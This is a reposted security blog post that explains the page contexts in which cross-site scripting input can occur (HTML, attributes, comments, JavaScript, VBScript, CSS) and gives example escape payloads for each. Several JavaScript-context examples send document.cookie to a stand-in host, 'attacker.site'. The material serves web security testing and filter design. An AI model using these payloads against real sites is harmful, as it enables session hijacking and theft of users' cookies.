Nytro Posted July 29, 2014 Report Posted July 29, 2014 (edited) Contexts and Cross-site Scripting - a brief intro Yesterday Anant posted a question in the IronWASP Facebook group asking about the different potential contexts related to XSS to better understand how context specific filtering is done. It would be hard to post the response in a comment so I am turning it in to a blog post instead.If you are the kind of person who likes reading code instead of text then download the source code of IronWASP and check out the CrossSiteScriptingCheck.cs file in the ActivePlugins directory, this post is based on the logic IronWASP uses for its XSS check.If user controlled input appears in some part of a web page and if this behaviour leads to the security of the site getting compromised in someway then the page is said to be affected by Cross-site Scripting. A web page is nothing but just text, the browser however does not look at it as a single monolithic blob of text, instead different sections of the page could be interpreted differently by the browser as HTML, CSS or JavaScript.Just like the word 'date' could mean a fruit, a point in time or a romantic meeting based on the context in which it appears, the impact that user input appearing in the page can have would depend on the context in which the browser tries to interpret the user input. I will try to list out the different contexts in which user input can occur in a web page.1) Simple HTML ContextIn the body of an existing HTML tag or at the start and end of the page outside of the <html> tag.<some_html_tag> user_input </some_html_tag>In this context you can enter any kind of valid HTML in the user input and it would immediately be rendered by the browser, its an executable context.Eg: <img src=x onerror=alert(1)>2) HTML Attribute Name ContextInside the opening HTML tag, after tag name or after an attribute value.<some_html_tag user_input some_attribute_name="some_attribute_value"/> In this context you can enter an event handler name and JavaScript code following an = symbol and we can have code execution, it can be considered to be an executable context.Eg: onclick="alert(1)"3) HTML Attribute Value ContextInside the opening HTML tag, after an attribute name separated by an = symbol.<some_html_tag some_attribute_name="user_input" /><some_html_tag some_attribute_name='user_input' /><some_html_tag some_attribute_name=user_input />There are three variations of this context: - Double quoted attribute- Single quoted attribute - Quote less attributeCode execution in this context would depend on the type of attribute in which the input appears. There are different types of attributes:a) Event attributesThese are attributes like onclick, onload etc and the values of these attributes are executed as JavaScript. So anything here is the same as JavaScript context.URL attributesThese are attributes that take URL as a value, for example src attribute of different tags. Entering a JavaScript URL here could lead to JavaScript executionEg: javascript:some_javascript()c) Special URL attributesThese are URL attributes where entering a regular URL can lead to security issues.Some examples are:<script src="user_input"<iframe src="user_input"<frame src="user_input"<link href="user_input"<object data="user_input"<embed src="user_input"<form action="user_input"<button formaction="user_input"<base href="user_input"<a href="user_input"Entering just an absolute http or https URL in these cases could affect the security of the website. In some cases if it is possible to upload user controlled data on to the server then even entering relative URLs here would lead to a problem. Some sites might strip off http:// and https:// from the values entered in these attributes to prevent absolute URLs from being entered but there are many ways in which an absolute URL can be specified.d) META tag attributesMeta tags like Charset can be influence how the contents of the page are interpreted by the browser. And then there is the http-equiv attribute, it can emulating the behaviour of HTTP response headers. Influencing the values of headers like Content-Type, Set-Cookie etc will have impact on the security of the page.e) Normal attributesIf the input appears in a normal attribute value then this context must be escaped to lead to code execution. If the attribute is quoted then the corresponding quote must be used to escape the context. In case of unquoted attributes space or backslash should do the job. Once out of this context a new event handler can be added to lead to code execution.Eg: " onclick=alert(1)' onclick=alert(1) onclick=alert(1)4) HTML Comments ContextInside the comments section of HTML<!-- some_comment user_input some_comment -->This is a non-executable context and it is required to come out this context to execute code. Entering a --> would terminate this context and switch any subsequent text to HTML context.Eg: --><img src=x onerror=alert(1)>5) JavaScript ContextInside the JavaScript code portions of the page.<script>some_javascriptuser_inputsome_javascript</script>This applies to the section enclosed by the SCRIPT tags, in event handler attributes values and in URLs preceding with javascript: .Inside JavaScript user input could appear in the following contexts:a) Code context Single quoted string contextc) Double quoted string contextd) Single line comment contexte) Multi-line comment contextf) Strings being assigned to Executable SinksIf user input is between SCRIPT tags then, no matter in which of the above contexts it appears you can switch to the HTML context simply by including a closing SCRIPT tag and then insert any HTML. Eg: </script><img src=x onerror=alert(1)>If you are not going to switch to HTML context then you have to tailor the input depending on the specific JavaScript context it appears in.a) Code Contextfunction dev_func(input) {some_js_code}dev_func(user_input);some_variable=123;This is an executable context, user input directly appears as an expression and you can directly enter JavaScript statements and they will be executed.Eg: $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//Single quoted string contextvar some_variable='user_input';This is a non-executable context and the user input must include a single quote at the beginning to switch out of the string context and enter the code context..Eg: '; $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//c) Double quoted string contextvar some_variable="user_input";This is a non-executable context and the user input must include a double quote at the beginning to switch out of the string context and enter the code context..Eg: "; $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//d) Single-line comment contextsome_js_func();//user_inputThis is a non-executable context and the user input must include a new line character to terminate the single line comment context and switch to the code context..Eg: \r\n$.post("http://attacker.site", {'cookie':document.cookie}, function(){})//e) Multi-line comment contextsome_js_func();/* user_input*/some_js_codeThis is a non-executable context and the user input must include*/ to terminate the multi-line comment context and switch to the code context..Eg: */$.post("http://attacker.site", {'cookie':document.cookie}, function(){})//f) Strings being assigned to Executable SinksThese are single quoted or double quoted string contexts but the twist is that these strings are passed to a function or assigned to a property that would treat this string as executable code.Some examples are:eval("user_input");location = "user_input";setTimeout(1000, "user_input");x.innerHTML = "user_input";For more sinks refer the DOM XSS wiki.This should be treated similar to Code context.6) VB Script ContextThis is very rare these days but still there might that odd site that uses VBScript.<script language="vbscript" type="text/vbscript">some_vbscriptuser_inputsome_vbscript</script>Like JavaScript, you could switch out to HTML context with the </SCRIPT> tag.Inside VBScript user input could appear in the following contexts:a) Code context Single-line commentc) Double quoted string contextd) Strings being assigned to Executable Sinksa) Code ContextSimilar to its JavaScript equivalent, you can directly enter VBScriptSingle-line commentVBScript only has single-line comments and similar to its JavaScript equivalent entering a new line character will terminate the comment context and switch to code contextc) Double quoted stringSimilar to its JavaScript equivalentd) Strings being assigned to Executable SinksSimilar to its JavaScript equivalent7) CSS ContextInside the CSS code portions of the page.<style>some_cssuser_inputsome_css</style>This applies to the section enclosed by the STYLE tags and in style attributes values.Injecting CSS in to a page itself could have some kind of impact of the page. For example, by changing the location, visibility, size and z-index of the elements in a page it might be possible to make the user perform an action different from what they think they are doing.But the more interesting aspect is in how JavaScript can be executed from within CSS. Though, not possible in modern browsers older browser did support JavaScript execution in two ways.i. expression propertyexpression is a Internet Explorer only feature that allows execution of JavaScript embedding inside CSS.css_selector{ property_name: expression(some_javascript);}ii. JavaScript URLsSome CSS properties like the background-image property take an URL as their value. In older browsers, entering a JavaScript URL here would result in JavaScript code being executed.css_selector{background-image: javascript:some_javascript()}Inside CSS user input could appear in the following contexts:a) Statement context Single quoted/Double quoted string contextc) Multi-line comment contextd) Strings being assigned to Executable SinksSimilar to the SCRIPT tag, if user input is between STYLE tags then you can switch to the HTML context simply by including a closing STYLE tag and then insert any HTML. Eg: </script><img src=x onerror=alert(1)>If you are not going to switch to HTML context then you have to tailor the input depending on the specific JavaScript context it appears in.a) Statement ContextIn this context you can directly start including CSS to modify the page for a social engineering attack or make use of expression property or the JavaScript URL method to inject JavaScript code.Single quoted/Double quoted string contextIncluding a single or double quote at the start of the input would terminate the string context and switch to statement context.c) Multi-line comment contextSimilar to JavaScript multi-line comment, entering */ would terminate the comment context and switch to statement context.d) Strings being assigned to Executable SinksThis is a single-quoted are double-quoted string that is either passed to the expression property or a property that takes an URL like background-image. In both cases the data inside the string context can be interpreted as JavaScript code by the browser.Though I have mentioned the standard way to escape out of the different contexts, these are by no means the only ways. There are plenty of browser quirks that allow escaping out of contexts in strange ways. To find out about them I would recommend you get the Web Application Obfuscation book and also refer the HTML5 Security Cheatsheet and the fuzz results of Shazzer.There is a good change you might already know about OWASP's XSS Prevention CheatSheet, you might also find this other XSS Protection Cheat Sheet to be useful. Posted by IronWASP at 5:56 AM Sursa: IronWASP - Open Source Advanced Web Security Testing Platform: Contexts and Cross-site Scripting - a brief intro Edited July 29, 2014 by Nytro Quote